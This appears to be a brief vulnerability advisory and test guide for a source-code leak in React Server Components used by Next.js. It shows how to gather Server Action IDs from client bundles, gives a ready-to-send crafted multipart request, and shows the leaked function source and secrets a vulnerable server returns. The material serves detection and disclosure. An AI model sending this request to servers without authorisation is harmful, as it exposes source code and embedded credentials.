An information leak vulnerability exists in specific configurations of React Server Components versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1, including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. A specifically crafted HTTP request sent to a vulnerable Server Function may unsafely return the source code of any Server Function. Exploitation requires the existence of a Server Function which explicitly or implicitly exposes a stringified argument.
Open the application in the browser → DevTools → Network → JS.
Inspect /_next/static/chunks/*.js files and extract all RSC Action IDs:
[a-f0-9]{40,42}
No special tooling required.
Send the following request in Burp Repeater, replacing <action_id>:
POST / HTTP/1.1
Host: target.com
Accept: text/x-component
Content-Type: multipart/form-data; boundary=----SourceLeak
Next-Action: <action_id>
------SourceLeak
Content-Disposition: form-data; name="0"
["$F1"]
------SourceLeak
Content-Disposition: form-data; name="1"
{"id":"<action_id>","bound":null}
------SourceLeak--A vulnerable server replies with:
Content-Type: text/x-component- Full server function source code, e.g.:
function createOrder(userId, payload) {
const apiKey = "sk_live_xxxxx";
...
}
Note: Next.js normally replaces functions with: function () { [omitted code] }
If you see full code instead of omitted placeholders → the server is vulnerable.